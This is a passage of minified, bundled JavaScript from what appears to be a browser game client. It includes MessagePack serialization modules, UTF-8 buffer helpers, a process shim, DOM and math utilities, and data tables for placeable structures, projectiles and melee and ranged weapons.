						if(!r.isBuffer(e) && r.isView(e)) e = r.Uint8Array.from(e);
						else if(r.isArrayBuffer(e)) e = new Uint8Array(e);
						else {
							if("string" == typeof e) return r.from.call(t, e);
							if("number" == typeof e) throw new TypeError('"value" argument must not be a number')
						}
						return i.from && 1 !== i.from.length ? i.from(e) : new i(e)
					}
				}, function (e, t, n) {
					var r = n(0);

					function i(e) {
						return new Uint8Array(e)
					}(t = e.exports = r.hasArrayBuffer ? i(0) : [])
					.alloc = i, t.concat = r.concat, t.from = function (e) {
						if(r.isView(e)) {
							var n = e.byteOffset
								, i = e.byteLength;
							(e = e.buffer)
							.byteLength !== i && (e.slice ? e = e.slice(n, n + i) : (e = new Uint8Array(e))
								.byteLength !== i && (e = Array.prototype.slice.call(e, n, n + i)))
						} else {
							if("string" == typeof e) return r.from.call(t, e);
							if("number" == typeof e) throw new TypeError('"value" argument must not be a number')
						}
						return new Uint8Array(e)
					}
				}, function (e, t) {
					t.copy = function (e, t, n, r) {
						var i;
						n || (n = 0), r || 0 === r || (r = this.length), t || (t = 0);
						var o = r - n;
						if(e === this && n < t && t < r)
							for(i = o - 1; i >= 0; i--) e[i + t] = this[i + n];
						else
							for(i = 0; i < o; i++) e[i + t] = this[i + n];
						return o
					}, t.toString = function (e, t, n) {
						var r = 0 | t;
						n || (n = this.length);
						for(var i = "", o = 0; r < n;)(o = this[r++]) < 128 ? i += String.fromCharCode(o) : (192 == (224 & o) ? o = (31 & o) << 6 | 63 & this[r++] : 224 == (240 & o) ? o = (15 & o) << 12 | (63 & this[r++]) << 6 | 63 & this[r++] : 240 == (248 & o) && (o = (7 & o) << 18 | (63 & this[r++]) << 12 | (63 & this[r++]) << 6 | 63 & this[r++]), o >= 65536 ? (o -= 65536, i += String.fromCharCode(55296 + (o >>> 10), 56320 + (1023 & o))) : i += String.fromCharCode(o));
						return i
					}, t.write = function (e, t) {
						for(var n = t || (t |= 0), r = e.length, i = 0, o = 0; o < r;)(i = e.charCodeAt(o++)) < 128 ? this[n++] = i : i < 2048 ? (this[n++] = 192 | i >>> 6, this[n++] = 128 | 63 & i) : i < 55296 || i > 57343 ? (this[n++] = 224 | i >>> 12, this[n++] = 128 | i >>> 6 & 63, this[n++] = 128 | 63 & i) : (i = 65536 + (i - 55296 << 10 | e.charCodeAt(o++) - 56320), this[n++] = 240 | i >>> 18, this[n++] = 128 | i >>> 12 & 63, this[n++] = 128 | i >>> 6 & 63, this[n++] = 128 | 63 & i);
						return n - t
					}
				}, function (e, t, n) {
					t.setExtPackers = function (e) {
						e.addExtPacker(14, Error, [f, l]), e.addExtPacker(1, EvalError, [f, l]), e.addExtPacker(2, RangeError, [f, l]), e.addExtPacker(3, ReferenceError, [f, l]), e.addExtPacker(4, SyntaxError, [f, l]), e.addExtPacker(5, TypeError, [f, l]), e.addExtPacker(6, URIError, [f, l]), e.addExtPacker(10, RegExp, [u, l]), e.addExtPacker(11, Boolean, [c, l]), e.addExtPacker(12, String, [c, l]), e.addExtPacker(13, Date, [Number, l]), e.addExtPacker(15, Number, [c, l]), "undefined" != typeof Uint8Array && (e.addExtPacker(17, Int8Array, a), e.addExtPacker(18, Uint8Array, a), e.addExtPacker(19, Int16Array, a), e.addExtPacker(20, Uint16Array, a), e.addExtPacker(21, Int32Array, a), e.addExtPacker(22, Uint32Array, a), e.addExtPacker(23, Float32Array, a), "undefined" != typeof Float64Array && e.addExtPacker(24, Float64Array, a), "undefined" != typeof Uint8ClampedArray && e.addExtPacker(25, Uint8ClampedArray, a), e.addExtPacker(26, ArrayBuffer, a), e.addExtPacker(29, DataView, a)), i.hasBuffer && e.addExtPacker(27, o, i.from)
					};
					var r, i = n(0)
						, o = i.global
						, a = i.Uint8Array.from
						, s = {
							name: 1
							, message: 1
							, stack: 1
							, columnNumber: 1
							, fileName: 1
							, lineNumber: 1
						};

					function l(e) {
						return r || (r = n(9)
							.encode), r(e)
					}

					function c(e) {
						return e.valueOf()
					}

					function u(e) {
						(e = RegExp.prototype.toString.call(e)
							.split("/"))
						.shift();
						var t = [e.pop()];
						return t.unshift(e.join("/")), t
					}

					function f(e) {
						var t = {};
						for(var n in s) t[n] = e[n];
						return t
					}
				}, function (e, t, n) {
					var r = n(5)
						, i = n(7)
						, o = i.Uint64BE
						, a = i.Int64BE
						, s = n(0)
						, l = n(6)
						, c = n(34)
						, u = n(13)
						.uint8
						, f = n(3)
						.ExtBuffer
						, d = "undefined" != typeof Uint8Array
						, h = "undefined" != typeof Map
						, p = [];
					p[1] = 212, p[2] = 213, p[4] = 214, p[8] = 215, p[16] = 216, t.getWriteType = function (e) {
						var t = c.getWriteToken(e)
							, n = e && e.useraw
							, i = d && e && e.binarraybuffer
							, A = i ? s.isArrayBuffer : s.isBuffer
							, g = i ? function (e, t) {
								v(e, new Uint8Array(t))
							} : v
							, m = h && e && e.usemap ? function (e, n) {
								if(!(n instanceof Map)) return b(e, n);
								var r = n.size;
								t[r < 16 ? 128 + r : r <= 65535 ? 222 : 223](e, r);
								var i = e.codec.encode;
								n.forEach(function (t, n, r) {
									i(e, n), i(e, t)
								})
							} : b;
						return {
							boolean: function (e, n) {
								t[n ? 195 : 194](e, n)
							}
							, function: w
							, number: function (e, n) {
								var r = 0 | n;
								n === r ? t[-32 <= r && r <= 127 ? 255 & r : 0 <= r ? r <= 255 ? 204 : r <= 65535 ? 205 : 206 : -128 <= r ? 208 : -32768 <= r ? 209 : 210](e, r) : t[203](e, n)
							}
							, object: n ? function (e, n) {
								if(A(n)) return function (e, n) {
									var r = n.length;
									t[r < 32 ? 160 + r : r <= 65535 ? 218 : 219](e, r), e.send(n)
								}(e, n);
								y(e, n)
							} : y
							, string: function (e) {
								return function (n, r) {
									var i = r.length
										, o = 5 + 3 * i;
									n.offset = n.reserve(o);
									var a = n.buffer
										, s = e(i)
										, c = n.offset + s;
									i = l.write.call(a, r, c);
									var u = e(i);
									if(s !== u) {
										var f = c + u - s
											, d = c + i;
										l.copy.call(a, a, f, c, d)
									}
									t[1 === u ? 160 + i : u <= 3 ? 215 + u : 219](n, i), n.offset += i
								}
							}(n ? function (e) {
								return e < 32 ? 1 : e <= 65535 ? 3 : 5
							} : function (e) {
								return e < 32 ? 1 : e <= 255 ? 2 : e <= 65535 ? 3 : 5
							})
							, symbol: w
							, undefined: w
						};

						function y(e, n) {
							if(null === n) return w(e, n);
							if(A(n)) return g(e, n);
							if(r(n)) return function (e, n) {
								var r = n.length;
								t[r < 16 ? 144 + r : r <= 65535 ? 220 : 221](e, r);
								for(var i = e.codec.encode, o = 0; o < r; o++) i(e, n[o])
							}(e, n);
							if(o.isUint64BE(n)) return function (e, n) {
								t[207](e, n.toArray())
							}(e, n);
							if(a.isInt64BE(n)) return function (e, n) {
								t[211](e, n.toArray())
							}(e, n);
							var i = e.codec.getExtPacker(n);
							if(i && (n = i(n)), n instanceof f) return function (e, n) {
								var r = n.buffer
									, i = r.length
									, o = p[i] || (i < 255 ? 199 : i <= 65535 ? 200 : 201);
								t[o](e, i), u[n.type](e), e.send(r)
							}(e, n);
							m(e, n)
						}

						function w(e, n) {
							t[192](e, n)
						}

						function v(e, n) {
							var r = n.length;
							t[r < 255 ? 196 : r <= 65535 ? 197 : 198](e, r), e.send(n)
						}

						function b(e, n) {
							var r = Object.keys(n)
								, i = r.length;
							t[i < 16 ? 128 + i : i <= 65535 ? 222 : 223](e, i);
							var o = e.codec.encode;
							r.forEach(function (t) {
								o(e, t), o(e, n[t])
							})
						}
					}
				}, function (e, t, n) {
					var r = n(4)
						, i = n(7)
						, o = i.Uint64BE
						, a = i.Int64BE
						, s = n(13)
						.uint8
						, l = n(0)
						, c = l.global
						, u = l.hasBuffer && "TYPED_ARRAY_SUPPORT" in c && !c.TYPED_ARRAY_SUPPORT
						, f = l.hasBuffer && c.prototype || {};

					function d() {
						var e = s.slice();
						return e[196] = h(196), e[197] = p(197), e[198] = A(198), e[199] = h(199), e[200] = p(200), e[201] = A(201), e[202] = g(202, 4, f.writeFloatBE || w, !0), e[203] = g(203, 8, f.writeDoubleBE || v, !0), e[204] = h(204), e[205] = p(205), e[206] = A(206), e[207] = g(207, 8, m), e[208] = h(208), e[209] = p(209), e[210] = A(210), e[211] = g(211, 8, y), e[217] = h(217), e[218] = p(218), e[219] = A(219), e[220] = p(220), e[221] = A(221), e[222] = p(222), e[223] = A(223), e
					}

					function h(e) {
						return function (t, n) {
							var r = t.reserve(2)
								, i = t.buffer;
							i[r++] = e, i[r] = n
						}
					}

					function p(e) {
						return function (t, n) {
							var r = t.reserve(3)
								, i = t.buffer;
							i[r++] = e, i[r++] = n >>> 8, i[r] = n
						}
					}

					function A(e) {
						return function (t, n) {
							var r = t.reserve(5)
								, i = t.buffer;
							i[r++] = e, i[r++] = n >>> 24, i[r++] = n >>> 16, i[r++] = n >>> 8, i[r] = n
						}
					}

					function g(e, t, n, r) {
						return function (i, o) {
							var a = i.reserve(t + 1);
							i.buffer[a++] = e, n.call(i.buffer, o, a, r)
						}
					}

					function m(e, t) {
						new o(this, t, e)
					}

					function y(e, t) {
						new a(this, t, e)
					}

					function w(e, t) {
						r.write(this, e, t, !1, 23, 4)
					}

					function v(e, t) {
						r.write(this, e, t, !1, 52, 8)
					}
					t.getWriteToken = function (e) {
						return e && e.uint8array ? function () {
							var e = d();
							return e[202] = g(202, 4, w), e[203] = g(203, 8, v), e
						}() : u || l.hasBuffer && e && e.safe ? function () {
							var e = s.slice();
							return e[196] = g(196, 1, c.prototype.writeUInt8), e[197] = g(197, 2, c.prototype.writeUInt16BE), e[198] = g(198, 4, c.prototype.writeUInt32BE), e[199] = g(199, 1, c.prototype.writeUInt8), e[200] = g(200, 2, c.prototype.writeUInt16BE), e[201] = g(201, 4, c.prototype.writeUInt32BE), e[202] = g(202, 4, c.prototype.writeFloatBE), e[203] = g(203, 8, c.prototype.writeDoubleBE), e[204] = g(204, 1, c.prototype.writeUInt8), e[205] = g(205, 2, c.prototype.writeUInt16BE), e[206] = g(206, 4, c.prototype.writeUInt32BE), e[207] = g(207, 8, m), e[208] = g(208, 1, c.prototype.writeInt8), e[209] = g(209, 2, c.prototype.writeInt16BE), e[210] = g(210, 4, c.prototype.writeInt32BE), e[211] = g(211, 8, y), e[217] = g(217, 1, c.prototype.writeUInt8), e[218] = g(218, 2, c.prototype.writeUInt16BE), e[219] = g(219, 4, c.prototype.writeUInt32BE), e[220] = g(220, 2, c.prototype.writeUInt16BE), e[221] = g(221, 4, c.prototype.writeUInt32BE), e[222] = g(222, 2, c.prototype.writeUInt16BE), e[223] = g(223, 4, c.prototype.writeUInt32BE), e
						}() : d()
					}
				}, function (e, t, n) {
					t.setExtUnpackers = function (e) {
						e.addExtUnpacker(14, [s, c(Error)]), e.addExtUnpacker(1, [s, c(EvalError)]), e.addExtUnpacker(2, [s, c(RangeError)]), e.addExtUnpacker(3, [s, c(ReferenceError)]), e.addExtUnpacker(4, [s, c(SyntaxError)]), e.addExtUnpacker(5, [s, c(TypeError)]), e.addExtUnpacker(6, [s, c(URIError)]), e.addExtUnpacker(10, [s, l]), e.addExtUnpacker(11, [s, u(Boolean)]), e.addExtUnpacker(12, [s, u(String)]), e.addExtUnpacker(13, [s, u(Date)]), e.addExtUnpacker(15, [s, u(Number)]), "undefined" != typeof Uint8Array && (e.addExtUnpacker(17, u(Int8Array)), e.addExtUnpacker(18, u(Uint8Array)), e.addExtUnpacker(19, [f, u(Int16Array)]), e.addExtUnpacker(20, [f, u(Uint16Array)]), e.addExtUnpacker(21, [f, u(Int32Array)]), e.addExtUnpacker(22, [f, u(Uint32Array)]), e.addExtUnpacker(23, [f, u(Float32Array)]), "undefined" != typeof Float64Array && e.addExtUnpacker(24, [f, u(Float64Array)]), "undefined" != typeof Uint8ClampedArray && e.addExtUnpacker(25, u(Uint8ClampedArray)), e.addExtUnpacker(26, f), e.addExtUnpacker(29, [f, u(DataView)])), i.hasBuffer && e.addExtUnpacker(27, u(o))
					};
					var r, i = n(0)
						, o = i.global
						, a = {
							name: 1
							, message: 1
							, stack: 1
							, columnNumber: 1
							, fileName: 1
							, lineNumber: 1
						};

					function s(e) {
						return r || (r = n(15)
							.decode), r(e)
					}

					function l(e) {
						return RegExp.apply(null, e)
					}

					function c(e) {
						return function (t) {
							var n = new e;
							for(var r in a) n[r] = t[r];
							return n
						}
					}

					function u(e) {
						return function (t) {
							return new e(t)
						}
					}

					function f(e) {
						return new Uint8Array(e)
							.buffer
					}
				}, function (e, t, n) {
					var r = n(17);

					function i(e) {
						var t, n = new Array(256);
						for(t = 0; t <= 127; t++) n[t] = o(t);
						for(t = 128; t <= 143; t++) n[t] = s(t - 128, e.map);
						for(t = 144; t <= 159; t++) n[t] = s(t - 144, e.array);
						for(t = 160; t <= 191; t++) n[t] = s(t - 160, e.str);
						for(n[192] = o(null), n[193] = null, n[194] = o(!1), n[195] = o(!0), n[196] = a(e.uint8, e.bin), n[197] = a(e.uint16, e.bin), n[198] = a(e.uint32, e.bin), n[199] = a(e.uint8, e.ext), n[200] = a(e.uint16, e.ext), n[201] = a(e.uint32, e.ext), n[202] = e.float32, n[203] = e.float64, n[204] = e.uint8, n[205] = e.uint16, n[206] = e.uint32, n[207] = e.uint64, n[208] = e.int8, n[209] = e.int16, n[210] = e.int32, n[211] = e.int64, n[212] = s(1, e.ext), n[213] = s(2, e.ext), n[214] = s(4, e.ext), n[215] = s(8, e.ext), n[216] = s(16, e.ext), n[217] = a(e.uint8, e.str), n[218] = a(e.uint16, e.str), n[219] = a(e.uint32, e.str), n[220] = a(e.uint16, e.array), n[221] = a(e.uint32, e.array), n[222] = a(e.uint16, e.map), n[223] = a(e.uint32, e.map), t = 224; t <= 255; t++) n[t] = o(t - 256);
						return n
					}

					function o(e) {
						return function () {
							return e
						}
					}

					function a(e, t) {
						return function (n) {
							var r = e(n);
							return t(n, r)
						}
					}

					function s(e, t) {
						return function (n) {
							return t(n, e)
						}
					}
					t.getReadToken = function (e) {
						var t = r.getReadFormat(e);
						return e && e.useraw ? function (e) {
							var t, n = i(e)
								.slice();
							for(n[217] = n[196], n[218] = n[197], n[219] = n[198], t = 160; t <= 191; t++) n[t] = s(t - 160, e.bin);
							return n
						}(t) : i(t)
					}
				}, function (e, t, n) {
					t.Encoder = o;
					var r = n(18)
						, i = n(10)
						.EncodeBuffer;

					function o(e) {
						if(!(this instanceof o)) return new o(e);
						i.call(this, e)
					}
					o.prototype = new i, r.mixin(o.prototype), o.prototype.encode = function (e) {
						this.write(e), this.emit("data", this.read())
					}, o.prototype.end = function (e) {
						arguments.length && this.encode(e), this.flush(), this.emit("end")
					}
				}, function (e, t, n) {
					t.Decoder = o;
					var r = n(18)
						, i = n(16)
						.DecodeBuffer;

					function o(e) {
						if(!(this instanceof o)) return new o(e);
						i.call(this, e)
					}
					o.prototype = new i, r.mixin(o.prototype), o.prototype.decode = function (e) {
						arguments.length && this.write(e), this.flush()
					}, o.prototype.push = function (e) {
						this.emit("data", e)
					}, o.prototype.end = function (e) {
						this.decode(e), this.emit("end")
					}
				}, function (e, t, n) {
					n(8), n(2), t.createCodec = n(1)
						.createCodec
				}, function (e, t, n) {
					n(8), n(2), t.codec = {
						preset: n(1)
							.preset
					}
				}, function (e, t) {
					var n, r, i = e.exports = {};

					function o() {
						throw new Error("setTimeout has not been defined")
					}

					function a() {
						throw new Error("clearTimeout has not been defined")
					}

					function s(e) {
						if(n === setTimeout) return setTimeout(e, 0);
						if((n === o || !n) && setTimeout) return n = setTimeout, setTimeout(e, 0);
						try {
							return n(e, 0)
						} catch (t) {
							try {
								return n.call(null, e, 0)
							} catch (t) {
								return n.call(this, e, 0)
							}
						}
					}! function () {
						try {
							n = "function" == typeof setTimeout ? setTimeout : o
						} catch (e) {
							n = o
						}
						try {
							r = "function" == typeof clearTimeout ? clearTimeout : a
						} catch (e) {
							r = a
						}
					}();
					var l, c = []
						, u = !1
						, f = -1;

					function d() {
						u && l && (u = !1, l.length ? c = l.concat(c) : f = -1, c.length && h())
					}

					function h() {
						if(!u) {
							var e = s(d);
							u = !0;
							for(var t = c.length; t;) {
								for(l = c, c = []; ++f < t;) l && l[f].run();
								f = -1, t = c.length
							}
							l = null, u = !1
								, function (e) {
									if(r === clearTimeout) return clearTimeout(e);
									if((r === a || !r) && clearTimeout) return r = clearTimeout, clearTimeout(e);
									try {
										r(e)
									} catch (t) {
										try {
											return r.call(null, e)
										} catch (t) {
											return r.call(this, e)
										}
									}
								}(e)
						}
					}

					function p(e, t) {
						this.fun = e, this.array = t
					}

					function A() {}
					i.nextTick = function (e) {
						var t = new Array(arguments.length - 1);
						if(arguments.length > 1)
							for(var n = 1; n < arguments.length; n++) t[n - 1] = arguments[n];
						c.push(new p(e, t)), 1 !== c.length || u || s(h)
					}, p.prototype.run = function () {
						this.fun.apply(null, this.array)
					}, i.title = "browser", i.browser = !0, i.env = {}, i.argv = [], i.version = "", i.versions = {}, i.on = A, i.addListener = A, i.once = A, i.off = A, i.removeListener = A, i.removeAllListeners = A, i.emit = A, i.prependListener = A, i.prependOnceListener = A, i.listeners = function (e) {
						return []
					}, i.binding = function (e) {
						throw new Error("process.binding is not supported")
					}, i.cwd = function () {
						return "/"
					}, i.chdir = function (e) {
						throw new Error("process.chdir is not supported")
					}, i.umask = function () {
						return 0
					}
				}, function (e, t) {
					var n = Math.abs
						, r = (Math.cos, Math.sin, Math.pow, Math.sqrt)
						, i = (n = Math.abs, Math.atan2)
						, o = Math.PI;
					e.exports.randInt = function (e, t) {
						return Math.floor(Math.random() * (t - e + 1)) + e
					}, e.exports.randFloat = function (e, t) {
						return Math.random() * (t - e + 1) + e
					}, e.exports.lerp = function (e, t, n) {
						return e + (t - e) * n
					}, e.exports.decel = function (e, t) {
						return e > 0 ? e = Math.max(0, e - t) : e < 0 && (e = Math.min(0, e + t)), e
					}, e.exports.getDistance = function (e, t, n, i) {
						return r((n -= e) * n + (i -= t) * i)
					}, e.exports.getDirection = function (e, t, n, r) {
						return i(t - r, e - n)
					}, e.exports.getAngleDist = function (e, t) {
						var r = n(t - e) % (2 * o);
						return r > o ? 2 * o - r : r
					}, e.exports.isNumber = function (e) {
						return "number" == typeof e && !isNaN(e) && isFinite(e)
					}, e.exports.isString = function (e) {
						return e && "string" == typeof e
					}, e.exports.kFormat = function (e) {
						return e > 999 ? (e / 1e3)
							.toFixed(1) + "k" : e
					}, e.exports.capitalizeFirst = function (e) {
						return e.charAt(0)
							.toUpperCase() + e.slice(1)
					}, e.exports.fixTo = function (e, t) {
						return parseFloat(e.toFixed(t))
					}, e.exports.sortByPoints = function (e, t) {
						return parseFloat(t.points) - parseFloat(e.points)
					}, e.exports.lineInRect = function (e, t, n, r, i, o, a, s) {
						var l = i
							, c = a;
						if(i > a && (l = a, c = i), c > n && (c = n), l < e && (l = e), l > c) return !1;
						var u = o
							, f = s
							, d = a - i;
						if(Math.abs(d) > 1e-7) {
							var h = (s - o) / d
								, p = o - h * i;
							u = h * l + p, f = h * c + p
						}
						if(u > f) {
							var A = f;
							f = u, u = A
						}
						return f > r && (f = r), u < t && (u = t), !(u > f)
					}, e.exports.containsPoint = function (e, t, n) {
						var r = e.getBoundingClientRect()
							, i = r.left + window.scrollX
							, o = r.top + window.scrollY
							, a = r.width
							, s = r.height;
						return t > i && t < i + a && n > o && n < o + s
					}, e.exports.mousifyTouchEvent = function (e) {
						var t = e.changedTouches[0];
						e.screenX = t.screenX, e.screenY = t.screenY, e.clientX = t.clientX, e.clientY = t.clientY, e.pageX = t.pageX, e.pageY = t.pageY
					}, e.exports.hookTouchEvents = function (t, n) {
						var r = !n
							, i = !1;

						function o(n) {
							e.exports.mousifyTouchEvent(n), window.setUsingTouch(!0), r && (n.preventDefault(), n.stopPropagation()), i && (t.onclick && t.onclick(n), t.onmouseout && t.onmouseout(n), i = !1)
						}
						t.addEventListener("touchstart", e.exports.checkTrusted(function (n) {
							e.exports.mousifyTouchEvent(n), window.setUsingTouch(!0), r && (n.preventDefault(), n.stopPropagation()), t.onmouseover && t.onmouseover(n), i = !0
						}), !1), t.addEventListener("touchmove", e.exports.checkTrusted(function (n) {
							e.exports.mousifyTouchEvent(n), window.setUsingTouch(!0), r && (n.preventDefault(), n.stopPropagation()), e.exports.containsPoint(t, n.pageX, n.pageY) ? i || (t.onmouseover && t.onmouseover(n), i = !0) : i && (t.onmouseout && t.onmouseout(n), i = !1)
						}), !1), t.addEventListener("touchend", e.exports.checkTrusted(o), !1), t.addEventListener("touchcancel", e.exports.checkTrusted(o), !1), t.addEventListener("touchleave", e.exports.checkTrusted(o), !1)
					}, e.exports.removeAllChildren = function (e) {
						for(; e.hasChildNodes();) e.removeChild(e.lastChild)
					}, e.exports.generateElement = function (t) {
						var n = document.createElement(t.tag || "div");

						function r(e, r) {
							t[e] && (n[r] = t[e])
						}
						for(var i in r("text", "textContent"), r("html", "innerHTML"), r("class", "className"), t) {
							switch(i) {
							case "tag":
							case "text":
							case "html":
							case "class":
							case "style":
							case "hookTouch":
							case "parent":
							case "children":
								continue
							}
							n[i] = t[i]
						}
						if(n.onclick && (n.onclick = e.exports.checkTrusted(n.onclick)), n.onmouseover && (n.onmouseover = e.exports.checkTrusted(n.onmouseover)), n.onmouseout && (n.onmouseout = e.exports.checkTrusted(n.onmouseout)), t.style && (n.style.cssText = t.style), t.hookTouch && e.exports.hookTouchEvents(n), t.parent && t.parent.appendChild(n), t.children)
							for(var o = 0; o < t.children.length; o++) n.appendChild(t.children[o]);
						return n
					}, e.exports.eventIsTrusted = function (e) {
						return !e || "boolean" != typeof e.isTrusted || e.isTrusted
					}, e.exports.checkTrusted = function (t) {
						return function (n) {
							n && n instanceof Event && e.exports.eventIsTrusted(n) && t(n)
						}
					}, e.exports.randomString = function (e) {
						for(var t = "", n = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", r = 0; r < e; r++) t += n.charAt(Math.floor(Math.random() * n.length));
						return t
					}, e.exports.countInArray = function (e, t) {
						for(var n = 0, r = 0; r < e.length; r++) e[r] === t && n++;
						return n
					}
				}, function (e, t) {
					e.exports.AnimText = function () {
						this.init = function (e, t, n, r, i, o, a) {
							this.x = e, this.y = t, this.color = a, this.scale = n, this.startScale = this.scale, this.maxScale = 1.5 * n, this.scaleSpeed = .7, this.speed = r, this.life = i, this.text = o
						}, this.update = function (e) {
							this.life && (this.life -= e, this.y -= this.speed * e, this.scale += this.scaleSpeed * e, this.scale >= this.maxScale ? (this.scale = this.maxScale, this.scaleSpeed *= -1) : this.scale <= this.startScale && (this.scale = this.startScale, this.scaleSpeed = 0), this.life <= 0 && (this.life = 0))
						}, this.render = function (e, t, n) {
							e.fillStyle = this.color, e.font = this.scale + "px Hammersmith One", e.fillText(this.text, this.x - t, this.y - n)
						}
					}, e.exports.TextManager = function () {
						this.texts = [], this.update = function (e, t, n, r) {
							t.textBaseline = "middle", t.textAlign = "center";
							for(var i = 0; i < this.texts.length; ++i) this.texts[i].life && (this.texts[i].update(e), this.texts[i].render(t, n, r))
						}, this.showText = function (t, n, r, i, o, a, s) {
							for(var l, c = 0; c < this.texts.length; ++c)
								if(!this.texts[c].life) {
									l = this.texts[c];
									break
								} l || (l = new e.exports.AnimText, this.texts.push(l)), l.init(t, n, r, i, o, a, s)
						}
					}
				}, function (e, t) {
					e.exports = function (e) {
						this.sid = e, this.init = function (e, t, n, r, i, o, a) {
							o = o || {}, this.sentTo = {}, this.gridLocations = [], this.active = !0, this.doUpdate = o.doUpdate, this.x = e, this.y = t, this.dir = n, this.xWiggle = 0, this.yWiggle = 0, this.scale = r, this.type = i, this.id = o.id, this.owner = a, this.name = o.name, this.isItem = null != this.id, this.group = o.group, this.health = o.health, this.layer = 2, null != this.group ? this.layer = this.group.layer : 0 == this.type ? this.layer = 3 : 2 == this.type ? this.layer = 0 : 4 == this.type && (this.layer = -1), this.colDiv = o.colDiv || 1, this.blocker = o.blocker, this.ignoreCollision = o.ignoreCollision, this.dontGather = o.dontGather, this.hideFromEnemy = o.hideFromEnemy, this.friction = o.friction, this.projDmg = o.projDmg, this.dmg = o.dmg, this.pDmg = o.pDmg, this.pps = o.pps, this.zIndex = o.zIndex || 0, this.turnSpeed = o.turnSpeed, this.req = o.req, this.trap = o.trap, this.healCol = o.healCol, this.teleport = o.teleport, this.boostSpeed = o.boostSpeed, this.projectile = o.projectile, this.shootRange = o.shootRange, this.shootRate = o.shootRate, this.shootCount = this.shootRate, this.spawnPoint = o.spawnPoint
						}, this.changeHealth = function (e, t) {
							return this.health += e, this.health <= 0
						}, this.getScale = function (e, t) {
							return e = e || 1, this.scale * (this.isItem || 2 == this.type || 3 == this.type || 4 == this.type ? 1 : .6 * e) * (t ? 1 : this.colDiv)
						}, this.visibleToPlayer = function (e) {
							return !this.hideFromEnemy || this.owner && (this.owner == e || this.owner.team && e.team == this.owner.team)
						}, this.update = function (e) {
							this.active && (this.xWiggle && (this.xWiggle *= Math.pow(.99, e)), this.yWiggle && (this.yWiggle *= Math.pow(.99, e)), this.turnSpeed && (this.dir += this.turnSpeed * e))
						}
					}
				}, function (e, t) {
					e.exports.groups = [{
						id: 0
						, name: "food"
						, layer: 0
					}, {
						id: 1
						, name: "walls"
						, place: !0
						, limit: 30
						, layer: 0
					}, {
						id: 2
						, name: "spikes"
						, place: !0
						, limit: 15
						, layer: 0
					}, {
						id: 3
						, name: "mill"
						, place: !0
						, limit: 7
						, layer: 1
					}, {
						id: 4
						, name: "mine"
						, place: !0
						, limit: 1
						, layer: 0
					}, {
						id: 5
						, name: "trap"
						, place: !0
						, limit: 6
						, layer: -1
					}, {
						id: 6
						, name: "booster"
						, place: !0
						, limit: 12
						, layer: -1
					}, {
						id: 7
						, name: "turret"
						, place: !0
						, limit: 2
						, layer: 1
					}, {
						id: 8
						, name: "watchtower"
						, place: !0
						, limit: 12
						, layer: 1
					}, {
						id: 9
						, name: "buff"
						, place: !0
						, limit: 4
						, layer: -1
					}, {
						id: 10
						, name: "spawn"
						, place: !0
						, limit: 1
						, layer: -1
					}, {
						id: 11
						, name: "sapling"
						, place: !0
						, limit: 2
						, layer: 0
					}, {
						id: 12
						, name: "blocker"
						, place: !0
						, limit: 3
						, layer: -1
					}, {
						id: 13
						, name: "teleporter"
						, place: !0
						, limit: 2
						, layer: -1
					}], t.projectiles = [{
						indx: 0
						, layer: 0
						, src: "arrow_1"
						, dmg: 25
						, speed: 1.6
						, scale: 103
						, range: 1e3
					}, {
						indx: 1
						, layer: 1
						, dmg: 25
						, scale: 20
					}, {
						indx: 0
						, layer: 0
						, src: "arrow_1"
						, dmg: 35
						, speed: 2.5
						, scale: 103
						, range: 1200
					}, {
						indx: 0
						, layer: 0
						, src: "arrow_1"
						, dmg: 30
						, speed: 2
						, scale: 103
						, range: 1200
					}, {
						indx: 1
						, layer: 1
						, dmg: 16
						, scale: 20
					}, {
						indx: 0
						, layer: 0
						, src: "bullet_1"
						, dmg: 50
						, speed: 3.6
						, scale: 160
						, range: 1400
					}], t.weapons = [{
						id: 0
						, type: 0
						, name: "tool hammer"
						, desc: "tool for gathering all resources"
						, src: "hammer_1"
						, length: 140
						, width: 140
						, xOff: -3
						, yOff: 18
						, dmg: 25
						, range: 65
						, gather: 1
						, speed: 300
					}, {
						id: 1
						, type: 0
						, age: 2
						, name: "hand axe"
						, desc: "gathers resources at a higher rate"
						, src: "axe_1"
						, length: 140
						, width: 140
						, xOff: 3
						, yOff: 24
						, dmg: 30
						, spdMult: 1
						, range: 70
						, gather: 2
						, speed: 400
					}, {
						id: 2
						, type: 0
						, age: 8
						, name: "great axe"
						, desc: "deal more damage and gather more resources"
						, src: "great_axe_1"
						, length: 140
						, width: 140
						, xOff: -8
						, yOff: 25
						, dmg: 35
						, spdMult: 1
						, range: 75
						, gather: 4
						, speed: 400
					}, {
						id: 3
						, type: 0
						, age: 2
						, name: "short sword"
						, desc: "increased attack power but slower move speed"
						, src: "sword_1"
						, iPad: 1.3
						, length: 130
						, width: 210
						, xOff: -8
						, yOff: 46
						, dmg: 35
						, spdMult: .85
						, range: 110
						, gather: 1
						, speed: 300
					}, {
						id: 4
						, type: 0
						, age: 8
						, name: "katana"
						, desc: "greater range and damage"
						, src: "samurai_1"
						, iPad: 1.3
						, length: 130
						, width: 210
						, xOff: -8
						, yOff: 59
						, dmg: 40
						, spdMult: .8
						, range: 118
						, gather: 1
						, speed: 300
					}, {
						id: 5
						, type: 0
						, age: 2
						, name: "polearm"
						, desc: "long range melee weapon"
						, src: "spear_1"
						, iPad: 1.3
						, length: 130
						, width: 210
						, xOff: -8
						, yOff: 53
						, dmg: 45
						, knock: .2
						, spdMult: .82
						, range: 142
						, gather: 1
						, speed: 700
					}, {
						id: 6
						, type: 0
						, age: 2
						, name: "bat"
						, desc: "fast long range melee weapon"
						, src: "bat_1"
						, iPad: 1.3
						, length: 110
						, width: 180
						, xOff: -8
						, yOff: 53
						, dmg: 20
						, knock: .7
						, range: 110
						, gather: 1
						, speed: 300
					}, {
						id: 7
						, type: 0
						, age: 2
						, name: "daggers"
						, desc: "really fast short range weapon"
						, src: "dagger_1"
						, iPad: .8
						, length: 110
						, width: 110
						, xOff: 18
						, yOff: 0
						, dmg: 20
						, knock: .1
						, range: 65
						, gather: 1
						, hitSlow: .1
						, spdMult: 1.13
						, speed: 100
					}, {
						id: 8
						, type: 0
						, age: 2
						, name: "stick"
						, desc: "great for gathering but very weak"
						, src: "stick_1"
						, length: 140
						, width: 140
						, xOff: 3
						, yOff: 24
						, dmg: 1
						, spdMult: 1
						, range: 70
						, gather: 7
						, speed: 400
					}, {
						id: 9
						, type: 1
						, age: 6
						, name: "hunting bow"
						, desc: "bow used for ranged combat and hunting"
						, src: "bow_1"
